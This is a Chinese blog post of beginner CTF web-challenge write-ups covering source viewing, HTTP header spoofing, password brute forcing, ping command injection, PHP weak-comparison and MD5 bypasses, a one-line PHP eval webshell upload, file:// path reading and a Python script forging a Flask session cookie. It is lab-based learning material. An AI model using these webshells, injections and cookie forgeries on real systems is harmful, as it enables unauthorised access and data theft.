少女祈祷中...

were is flag?

[思路]

  • 查看题目详情,“X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。”意思是让我们进入源代码里查看。
  • ctrl+u可以进入网页源代码,也可以按F12进入
  • 进入后查找flag,发现flag

[总结]

考察网页源代码查看能力

get_post

[题目]

  • 查看题目详情,“X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?”网上搜索HTTP通常使用的请求方式

![屏幕截图 2024-06-17 122847](/img/屏幕截图 2024-06-17 122847.png)

得出是使用GET和POST

image-20240617123708220

网页显示让我们用get方式提交一个值,get的提交格式为:/?名称=值

image-20240617124005661

提交后提示再用POST提交一个变量

image-20240617124157424

因为post提交是在body里,所以我们要用到HackBar工具

设置好后点击EXECUTE提交,页面就显示flag了

image-20240617124741373

[总结]

考察GET和POST知识,初步掌握HackBar使用

Robots

[题目]

  • 查看题目详情,“X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。”

网上查找robots,image-20240617155800174

打开robots文件可以看到:

image-20240617160244982

再打开这个php文件:

image-20240617160347098

成功找到flag

[总结]

考察robots协议知识,熟练运用搜索引擎查询相关信息

backup

[题目]

  • 查看题目详情,“X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!”

打开网站,发现首页提示我们知不知道index.php备份文件image-20240617160852136

在网上搜索,得出:

image-20240617161108515

打开LInux,利用dirsearch搜索index.php.bak文件

dirsearch搜索命令:

dirsearch -u [URL] -e [文件后缀]

image-20240617162446230

找的文件后,按下ctrl+c结束运行。在网页输入/index.php.bak,并打开该文件

image-20240617162717689

image-20240617162845789

找到flag。

[总结]

熟练运用搜索引擎,dirsearch初试

cookie

[题目]

  • 查看题目详情:“X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’“,打开网页,询问我们cookie是什么,在网上查找:

image-20240617163358795

利用网页查找功能,找到cookie中有个php文件,打开

image-20240617163645308

image-20240617163705149

网页提示我们看看response,网上查找response,得知是响应的意思。打开检查,在网络选项中找到cookie.php,找到响应标头

image-20240617164402210

发现flag

[总结]

掌握cookie知识,熟练使用网页检查

disabled_button

[题目]

  • X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

打开网页检查查看网页源代码

image-20240628170411670

发现使用的是html,利用html知识更改input(删除disabled)

image-20240628170635810

发现flag

[总结]

html知识,啥也不是

simple_js

[题目]

  • 小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )

打开网页,提示输入密码,随便乱输

image-20240628171047791

image-20240628171110332

😊

利用burp和Proxy SwitchyOmega进行代理

image-20240628171812941

发现密码在fromCharCod里,通过判断,密码编码方式为base16,利用python进行转换

image-20240628172448302

image-20240628172541660

得到flag

[总结]

学会看js,不会就看wp

xff_referer

[题目]

  • X老师告诉小宁其实xff和referer是可以伪造的。

百度xff和referer:

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的

利用Hakbar进行伪造xff

image-20240628173207027

网页提示必须来自谷歌,利用referer伪造

image-20240628173313270

找到flag

[总结]

有手就行

weak_auth

[题目]

  • 小宁写了一个登陆验证页面,随手就设了一个密码。

打开网页,瞎jb乱填一个账号密码,打开burp

image-20240628183434877

image-20240628184056663

用暴力破解下密码

image-20240628192144278

找到,并登录密码

image-20240628192226063

找到flag

[总结]

没啥好说的

command_execution

[题目]

  • 小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

百度waf,意思是防火墙,打开网站,ping一下回环地址

image-20240628193045162

输出方式有点眼熟,使用命令拼接的方式输入ls

| 的作用为将前一个命令的结果传递给后一个命令作为输入

&&的作用是前一条命令执行成功时,才执行后一条命令

image-20240628193253140

可行,用find命令查找flag

image-20240628193658501

再用cat命令打开flag

image-20240628193812918

找到flag

[总结]

不会Linux连ping都只能ping百度

simple_php

[题目]

  • 小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

打开网页,直接显示php代码,先审计一下

image-20240628194141420

根据不多的php知识,当同时满足$a==0和$a时才会显示flag1

php中有两种比较符号

=== 会同时比较字符串的值和类型

== 会先将字符串换成相同类型,再作比较,属于弱类型比较

百度php弱比较

image-20240628194813832

在地址栏输入?a=abc

image-20240628195214610

得到flag1,再看flag2的要求,b要大于1234且不能为数值

is_numeric() 判断变量是否为数字或数字字符串,不仅检查10进制,16进制 是可以。 is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值, 而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空 格字符会跳过空格字符判断,接着后面的判断! 在这里b不能为数字或数字字符串,但b的值要大于1234,进行绕过,可以使 用%00进行截断

image-20240628195703038

找到flag

[总结]

不会php和js连网页都看不懂

作业管理系统

[题目]】

  • 交作业!!但是哪里不对?

打开网页,首先检查源代码

image-20240801220336463

知道账户密码后,登入

三种解法:

解法 1 文件上传

到功能页面其实可以直接尝试上传文件,发现是没有任何过滤的,所以直接上传一个一句话木马就好:

<?php @eval($_POST[1]); ?>

由于前端页面不显示,上传文件后看不到,但是从上传功能区的 " ./ " 可以得知就是在当前目录

假设木马名字为 1.php 上传完成后 直接访问 url/1.php 即可,当然你也可以使用 WebShell管理工具 进行连接

比如 蚁剑 对于蚁剑的安装配置过程可以参考:https://github.com/ProbiusOfficial/CTF-QuickStart/blob/main/Software_Installation/AntSwordInstallation.md

5eaf9181-8a92-4789-a16f-6f1aad0f02bb

测试无误后点击添加即可借助一句话木马进行webshell管理:

0e0b8d97-6f50-42f0-a21b-8a0f19296ba0

并且在根目录拿到flag

61e97db5-f70d-4cb6-a51a-ca1e55ecaf1d

解法 2 远程下载

远程下载也有多种解法,当然如果上传有黑名单限制 但是远程下载没有 则可以用远程下载去下载PHP木马文件,然后剩余的步骤和上传木马的操作一样 不多做说明。

这里最主要是讲基于file协议直接将根目录文件直接下载到当前目录

output

点击下载就有下面的选项:

output

我们点击编辑文件即可直接拿到flag:

![output (1)](/img/output (1).png)

当然这个时候 flag 已经在网页目录了 ,所以我们访问 UR/flag 也可以下载得到flag:

bf183141-cb3b-4a65-962f-b2a8d108a456

解法 3 直接编辑读取

如果你没有想到 file:// 协议,但是你在上传文件的时候 使用了编辑功能,不妨观察它的Url:

http://node4.anna.nssctf.cn:28090/index.php?op=edit&fename=uploadFileName&folder=./

由于页面所有的操作只有登录这一个鉴权,所有操作都没用敏感目录的过滤(完全没有过滤),所以这个地方我们直接修改路径为根目录,文件名字为flag ?op=edit&fename=flag&folder=/

3d072d29-bd47-4d05-aaea-aaf5b967dbcb

也可以直接读取。

当然还有其他肯定思路,所以本题目没有预期解,每一个功能点都它的价值。

No System is Safe.

[SWPUCTF 2021 新生赛]jicao

[题目]

image-20240919195543074

  • 开始阅览php代码,这里的意思是要用POST的形式提交一个名为id的变量,并赋值为wllmNB,且也要以GET的形式提交一个名为json的参数,且解码为数组。如果id=wllmNB,解码后的json数组中的x的键值对为wllm就可以输出flag的值
  • 用hackbar就可以提交POST和GET了

image-20240919201809956

获得flag

[总结]

得先学会php

[SWPUCTF 2021 新生赛]caidao

[题目]

image-20240921183411675

直接给了张图片,上面t提示我们执行以post请求中获得的wllm变量。

  • 打开蚁剑,输入url和密码

image-20240921184636745

测试连接,成功

进入,找到根目录的flag文件,获取flag

image-20240921184851893

[总结]

初次使用中国蚁剑,还是得学php,因为还可以构造payload,wllm=var_dump(file_get_contents("/flag"));

[SWPUCTF 2021 新生赛]easy_md5

[题目]

image-20240921185835746

查看php代码,发现变量name和password进行md5弱比较相同后输出flag,由hash漏洞可知,俩数md5加密后开头是0e就可以相等。因为php在进行弱类型比较时,会现转换字符串的类型,在进行比较,而在比较是因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等,在进行严格比较(===)时才会先判断字符串类型是否相等

#特殊的md5值
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

强比较

if(md5((string)$_GET['a'])===md5((string)$_GET['b']))
{<!-- -->
   var_dump($flag);
}

此时两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过

var_dump(md5([1,2,3])==md5([4,5,6]));//true

var_dump(md5($_GET['a'])==md5($_GET['b']));
?a[]=1&b[]=1//true

md5()函数的描述是string md5(string $str[,bool $raw_output=false])

md5中需要的是一个string参数,但是当你传入一个array(数组)是,md5()是不会报错的,只是无法求出array的md5的值,这样就会导致任意的2个array的md5的值都会相等

传参,获取flag

image-20240921190746268

[第五空间 2021]WebFTP

[题目]

image-20240921203728893

  • 用backup爆破用户名密码,得到用户名admin,密码admin888。然后就疯狂找啊,最后在phpinfo.php里发现flag(哪个大好人会放这里啊)

[总结]

太蛋疼了

[LitCTF 2023]Flag点击就送!

[题目]

image-20241022193900288

已知题目类型为cookie伪造,输入正确的用户名(拿字典爆破),打开检查找到session进行伪造

import requests
import string
import subprocess

SECRET_KEY = "LitCTF"

cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{\'name\': \'admin\'}', '--secret', SECRET_KEY])

cookie = {'session' : cmd_out.decode().rstrip()}
response = requests.get('http://node4.anna.nssctf.cn:28821/flag', cookies=cookie)

print(response.text)

拿脚本直接梭哈,获取flag

image-20241022194345624

[总结]

公式做题就是快

本文作者:Iota @ Iotaの小屋

本文发布时间:2024-10-15 11:00:00

本文版权:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

留言